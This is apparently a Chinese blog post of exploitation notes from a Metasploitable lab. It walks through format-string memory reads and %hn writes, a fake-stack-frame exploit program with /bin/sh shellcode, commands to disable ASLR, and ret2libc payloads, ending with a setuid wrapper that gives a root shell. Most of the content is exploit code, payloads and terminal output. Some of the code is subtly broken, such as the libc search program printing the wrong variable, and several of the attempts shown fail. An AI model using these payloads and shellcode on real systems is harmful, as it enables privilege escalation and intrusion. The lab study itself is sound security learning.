AAAA bffffe87 00000000 b7fff668 bffffd84
Canary at 0x080496cc = 0x00000000

#不断增加%08x 找到格式化字符串开头
msfadmin@metasploitable:~$ ./fmtstr "AAAA %08x %08x %08x %08x %08x %08x %08x %08x"
AAAA bffffe73 00000000 b7fff668 bffffd74 b7fff800 00000000 00000003 41414141
Canary at 0x080496cc = 0x00000000

%s读取任意字符串:

我们控制这格式化字符串,能将任何内容放入该字符串,%s格式控制字符将从栈上读取下一个参数.

通过指针来读取内存地址

msfadmin@metasploitable:~$ ./fmtstr "AAAA %08x %08x %08x %08x %08x %08x %08x %s"  
Segmentation fault

读取任意内存:

只需要提供位于当前进程段内存的有效地址,就可以读取任意内存位置的数据.

//程序用于从系统中获取当前用户shell的位置
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
    char * addr;
    addr = getenv(argv[1]);
    printf("%s is located at %p\n", argv[1], addr);
}


msfadmin@metasploitable:~$ ./getenv SHELL
SHELL is located at 0xbffffeb1

//将内存地址反转 得到shell环境变量 可使用 env | more 查看当前会话所有环境变量
msfadmin@metasploitable:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`" %08x %08x %08x %08x %08x %08x %s"
Segmentation fault
msfadmin@metasploitable:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`" %08x %08x %08x %08x %08x %s"     
���� bffffe7f 00000000 b7fff668 bffffd84 b7fff800 (null)
Canary at 0x080496cc = 0x00000000
msfadmin@metasploitable:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`" %08x %08x %08x %08x %08x %08x %s"
Segmentation fault
msfadmin@metasploitable:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`" %08x %08x %08x %08x %08x %08x %08x %s"
���� bffffe75 00000000 b7fff668 bffffd74 b7fff800 00000000 00000003 /bin/bash
Canary at 0x080496cc = 0x00000000

直接参数访问简化处理:

#include <stdio.h>

main() {
    printf("This is a %3$s.\n", 1, 2, "test");
}

msfadmin@metasploitable:~$ ./dirpar 
This is a test.
msfadmin@metasploitable:~$ ./fmtstr `printf "\xb1\xfe\xff\xbf"`"%8\$s"                                 
����/bin/bash
Canary at 0x080496cc = 0x00000000

利用格式字符串错误,可以指定printf和其他打印函数的格式,从一个程序读取任意内存.使用%x可以打印十六进制值,

查找堆栈中参数的位置.%s指令,可以找出程序在指定位置的字符串值.

写入任意内存:

msfadmin@metasploitable:~$ export SC=`cat sc`
msfadmin@metasploitable:~$ ./getenv SC
SC is located at 0xbfffff51

可以拆分值写入内存,两个高位字节HOB:0xbfff,两个低位字节LOB:0xff51, HOB < LOB.

计算漏洞攻击格式字符串公式

HOB<LOB

LOB<HOB

备注

实例

[addr+2][addr]

[addr+2][addr]

第二个16比特在前

 \xce\x96\x04\x08

\xcc\x96\x04\x08

%.[HOB-8]x

%.[LOB-8]x

使用点来确保整数采用十进制

0xbfff-8的十进制等于49143(bfff=49151-8),因此表示%.49143x

(ff51=65361-8=65353)%.65353x

%[offset]$hn

%[offset+1]$hn

 

%8\$hn

%.[LOB-HOB]x

%.[HOB-LOB]x

使用点来确保整数采用十进制

0xff51 - 0xbfff的是十进制=16210 表示为:%.16210x

%[offset+1]$hn

%[offset]$hn

 

%9\$hn

0太多了截取:

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Canary at 0x080496cc = 0xbfffff51
msfadmin@metasploitable:~$ ./fmtstr `printf "\xce\x96\x04\x08\xcc\x96\x04\x08"`%.49143x%8\$hn%.16210x%9\$hn

改变程序执行:

msfadmin@metasploitable:~$ nm ./fmtstr | head #导出EFL32格式文件各节的符号
080495c4 d _DYNAMIC
08049698 d _GLOBAL_OFFSET_TABLE_
0804858c R _IO_stdin_used
         w _Jv_RegisterClasses
080495b4 d __CTOR_END__
080495b0 d __CTOR_LIST__
080495bc d __DTOR_END__
080495b8 d __DTOR_LIST__
080485ac r __FRAME_END__
080495c0 d __JCR_END__
msfadmin@metasploitable:~$ objdump -s -j .comment ./fmtstr #导出并检查文件各节

./fmtstr:     file format elf32-i386

Contents of section .comment:
 0000 00474343 3a202847 4e552920 342e322e  .GCC: (GNU) 4.2.
 0010 34202855 62756e74 7520342e 322e342d  4 (Ubuntu 4.2.4-
 0020 31756275 6e747534 29000047 43433a20  1ubuntu4)..GCC: 
 0030 28474e55 2920342e 322e3420 28556275  (GNU) 4.2.4 (Ubu
 0040 6e747520 342e322e 342d3175 62756e74  ntu 4.2.4-1ubunt
 0050 75342900 00474343 3a202847 4e552920  u4)..GCC: (GNU) 
 0060 342e322e 34202855 62756e74 7520342e  4.2.4 (Ubuntu 4.
 0070 322e342d 31756275 6e747534 29000047  2.4-1ubuntu4)..G
 0080 43433a20 28474e55 2920342e 322e3420  CC: (GNU) 4.2.4 
 0090 28556275 6e747520 342e322e 342d3175  (Ubuntu 4.2.4-1u
 00a0 62756e74 75342900 00474343 3a202847  buntu4)..GCC: (G
 00b0 4e552920 342e322e 34202855 62756e74  NU) 4.2.4 (Ubunt
 00c0 7520342e 322e342d 31756275 6e747534  u 4.2.4-1ubuntu4
 00d0 29000047 43433a20 28474e55 2920342e  )..GCC: (GNU) 4.
 00e0 322e3420 28556275 6e747520 342e322e  2.4 (Ubuntu 4.2.
 00f0 342d3175 62756e74 75342900 00474343  4-1ubuntu4)..GCC
 0100 3a202847 4e552920 342e322e 34202855  : (GNU) 4.2.4 (U
 0110 62756e74 7520342e 322e342d 31756275  buntu 4.2.4-1ubu
 0120 6e747534 2900                        ntu4).          

在C\C++中,fini_array字节以二进制存储

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

static int canary = 0;
static void checkCanary(void) __attribute__ ((destructor));

int main(int argc, char *argv[]){
    char temp[2048];
    strcpy(temp, argv[1]);
    printf(temp);
    printf("\n");
}

void checkCanary(void){
    printf("Canary at 0x%08x = 0x%08x\n", &canary, canary);
}

msfadmin@metasploitable:~$ gcc -z execstack -o strfmt strfmt.c 
msfadmin@metasploitable:~$ chmod u+s strfmt

msfadmin@metasploitable:~$ nm ./strfmt | grep -i fini
080484e0 T __libc_csu_fini
0804857c T _fini

内存保护机制:

Libsafe通过重写这些危险的libc函数,替换了边界和输入过滤的实现,从而消除了大多数基于栈的攻击.

绕过堆栈保护,利用假栈帧技术,跳转到伪造的虚假地址,实现shellcode.

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

#define VULN "./smallbuff"
#define SIZE 14

char shellcode[] =
    "\xff\xff\xff\xff\xff\xff\xff\xff"
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x80\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv){
    char p[SIZE];
    char *env[] = { shellcode, NULL };
    int *ptr, i, addr, addr_argc, addr_eip;

    addr = 0xbffffffa - strlen(shellcode) - strlen(VULN);
    addr += 4;
    addr_argc = addr;
    addr_eip = addr_argc + 4;
    fprintf(stderr, "[***] using fake argc address: %#010x\n", addr_argc);
    fprintf(stderr, "[***] using shellcode address: %#010x\n", addr_eip);

    shellcode[0] = (unsigned char)(addr_eip & 0x000000ff);
    shellcode[1] = (unsigned char)((addr_eip & 0x0000ff00)>>8);
    shellcode[2] = (unsigned char)((addr_eip & 0x00ff0000)>>16);
    shellcode[3] = (unsigned char)((addr_eip & 0xff000000)>>24);

    p[0] = "A";
    p[1] = "A";
    ptr = (int *)&p[2];

    for (i = 2; i < SIZE; i += 4)
        *ptr++ = addr;

    *ptr = addr_eip;

    execle(VULN, "smallbuff", p, NULL, env);
    exit(1);
}

msfadmin@metasploitable:~$ chmod u+s exploit3
msfadmin@metasploitable:~$ ./exploit3 
[***] using fake argc address: 0xbfffffb6
[***] using shellcode address: 0xbfffffba

gcc从版本4.1开始,SSP被整合进了GCC中,默认使用.要使用-fno-stack-protector标志将其禁用,使用-fstack-protector-all选项强制对所有函数进行堆栈保护.一种不可执行栈ELF标记GUN_STACK,使用-z execstack标志禁用.

内核补丁和脚本:

ASLR地址空间布局随机化,是将可执行映像\Brk()管理的堆\库映像\Mmap()管理的堆\用户栈\内核栈等随机化.

ASLP的系统通过调用libc函数地址随机化,实现了高级保护以防止返回到系统库函数执行漏洞攻击.

mmap()调用随机化来实现,并且使用查找system()及其它函数的地址变得几乎不可能.使用蛮力技术来找system()函数调用是可行的.

Debian Ubuntu系统通过软连接 echo 0 > /proc/sys/kernel/randomize_va_space 禁用ASLP

基于Red Hat的系统中通过 echo 1 > /proc/sys/kernel/exec-shield   

echo 1 > /proc/sys/kernel/exec-shield-randomize 禁用ASLP

Return to libc来绕过PaX和ExecShield之类的不可执行栈内存保护机制:

//测试代码
#include <stdio.h>

int main(int argc, char *argv[]){
    char buffer[7];
    strcpy(buffer, argv[1]);
    return 0;
}

msfadmin@metasploitable:~$ gcc -o vuln2 vuln2.c 
msfadmin@metasploitable:~$ chmod u+s vuln2
msfadmin@metasploitable:~$ ls -l vuln2
-rwsr-xr-x 1 msfadmin msfadmin 6364 2018-09-06 04:12 vuln2
msfadmin@metasploitable:~$ gdb -q vuln2
(gdb) b main
Breakpoint 1 at 0x8048382
(gdb) r
Starting program: /home/msfadmin/vuln2 

Breakpoint 1, 0x08048382 in main ()
Current language:  auto; currently asm
(gdb) p system 
$1 = {<text variable, no debug info>} 0xb7ec2990 <system>
(gdb) q

使用如下代码获取二进制代码中函数和字符串位置:

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <signal.h>
#include <setjmp.h>

int step;
jmp_buf env;

void fault(){
    if (step < 0){
        longjmp(env, 1);
    }else{
        printf("Cat't find /bin/sh in libc, use env instead...\n");
        exit(1);
    }
}

int main(int argc, char **argv){
    void *handle;
    int *sysaddr, *exitaddr;
    long shell;
    char examp[512];
    char *args[3];
    char *envs[1];
    long *lp;

    handle = dlopen(NULL, RTLD_LOCAL);

    *(void **)(&sysaddr) = dlsym(handle, "system");
    sysaddr += 4096;
    printf("system() found at %08x\n", exitaddr);

    if (setjmp(env)){
        step = 1;
    }else{
        step = -1;
    }

    shell = (int)sysaddr;
    signal(SIGSEGV, fault);

    do
    while (memcmp((void *)shell, "/bin/sh", 8))
        shell += step;

    while (!(shell & 0xff) || !(shell & 0xff00) || !(shell & 0xff0000) || !(shell & 0xff000000));

    printf("\"/bin/sh\"found at %08x\n", shell + 16384);
}

#漏洞程序 没有获取到system 没有使用root
msfadmin@metasploitable:~$ ./search 
system() found at 00000000
"/bin/sh"found at b7fb63ce

#程序崩了 没有得到权限 没有获取system地址 填充的是空
msfadmin@metasploitable:~$ ./vuln2 `perl -e 'print "A"x19 ."\x00\x00\x00\x00","BBBB","\xce\x63\xfb\xb7"'`
Segmentation fault

使用ret2libc保持权限:

#include <stdio.h>

int main(){
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

#include <stdio.h>

int main(){
    execl("./wrapper", "./wrapper", 0);
}

msfadmin@metasploitable:~$ ls -l test_execl
-rwxr-xr-x 1 msfadmin msfadmin 6384 2018-09-06 04:30 test_execl
msfadmin@metasploitable:~$ sudo ./shellcode 
root@metasploitable:/home/msfadmin# chown root.root test_execl
root@metasploitable:/home/msfadmin# ls -l test_execl
-rwxr-xr-x 1 root root 6384 Sep  6 04:30 test_execl
root@metasploitable:/home/msfadmin# chmod +s test_execl
root@metasploitable:/home/msfadmin# ls -l test_execl
-rwsr-sr-x 1 root root 6384 Sep  6 04:30 test_execl
root@metasploitable:/home/msfadmin# exit
exit

msfadmin@metasploitable:~$ ./test_execl 
sh-3.2# id
uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
sh-3.2# exit
exit

使用printf的地址来重写EIP:

msfadmin@metasploitable:~$ gdb -q vuln2
(gdb) b main
Breakpoint 1 at 0x8048382
(gdb) r
Starting program: /home/msfadmin/vuln2 

Breakpoint 1, 0x08048382 in main ()
Current language:  auto; currently asm
(gdb) p printf
$1 = {<text variable, no debug info>} 0xb7ed1330 <printf>
(gdb) p execl
$2 = {<text variable, no debug info>} 0xb7f20360 <execl>

msfadmin@metasploitable:~$ export FMTSTR="%3\$n"

msfadmin@metasploitable:~$ echo $FMTSTR
%3$n

msfadmin@metasploitable:~$ ./getenv FMTSTR
FMTSTR is located at 0xbffffef9

msfadmin@metasploitable:~$ echo $WRAPPER
./wrapper

msfadmin@metasploitable:~$ ./getenv WRAPPER
WRAPPER is located at 0xbffffef4

查找漏洞缓冲区的位置:

msfadmin@metasploitable:~$ gdb -q vuln2
(gdb) b main
Breakpoint 1 at 0x8048382
(gdb) r
Starting program: /home/msfadmin/vuln2 

Breakpoint 1, 0x08048382 in main ()
Current language:  auto; currently asm
(gdb) disass main
Dump of assembler code for function main:
0x08048374 <main+0>:    lea    0x4(%esp),%ecx
0x08048378 <main+4>:    and    $0xfffffff0,%esp
0x0804837b <main+7>:    pushl  -0x4(%ecx)
0x0804837e <main+10>:   push   %ebp
0x0804837f <main+11>:   mov    %esp,%ebp
0x08048381 <main+13>:   push   %ecx
0x08048382 <main+14>:   sub    $0x24,%esp
0x08048385 <main+17>:   mov    0x4(%ecx),%eax
0x08048388 <main+20>:   add    $0x4,%eax
0x0804838b <main+23>:   mov    (%eax),%eax
0x0804838d <main+25>:   mov    %eax,0x4(%esp)
0x08048391 <main+29>:   lea    -0xb(%ebp),%eax
0x08048394 <main+32>:   mov    %eax,(%esp)
0x08048397 <main+35>:   call   0x80482d8 <strcpy@plt>
0x0804839c <main+40>:   mov    $0x0,%eax
0x080483a1 <main+45>:   add    $0x24,%esp
0x080483a4 <main+48>:   pop    %ecx
0x080483a5 <main+49>:   pop    %ebp
0x080483a6 <main+50>:   lea    -0x4(%ecx),%esp
0x080483a9 <main+53>:   ret    
End of assembler dump.
(gdb) r `perl -e 'print "A"x64'`Quit
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/msfadmin/vuln2 `perl -e 'print "A"x64'`Quit #在最后的位置放入4个字节 60+4 = 64&nbsp;

Breakpoint 1, 0x08048382 in main ()
(gdb) p $esp
$1 = (void *) 0xbffffc64
(gdb) q
The program is running.  Exit anyway? (y or n) y

知道了漏洞缓冲区的大小已经编译器增加的垫片(0x24 = 36) 算出第六处内存的地址:36+6*4=60 = 0x3c

在最后的位置放入4个字节 60+4 = 64  缓冲区总大小为64

找到了缓冲区的起始处,那么与前面计算出的偏移相加即可得到正确的目标位置.

0xbffffc64 + 0x24  =  0xbffffc88

./vuln2 `perl -e 'print "AAAA"x7 . "\x30\x13\xed\xb7" . "\x60\x03\xf2\xbf" . "\xf9\xfe\xff\xbf" . "\xf4\xfe\xff\xbf" . "\xf4\xfe\xff\xbf" . "\x88\xfc\xff\xbf"'`
Segmentation fault

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章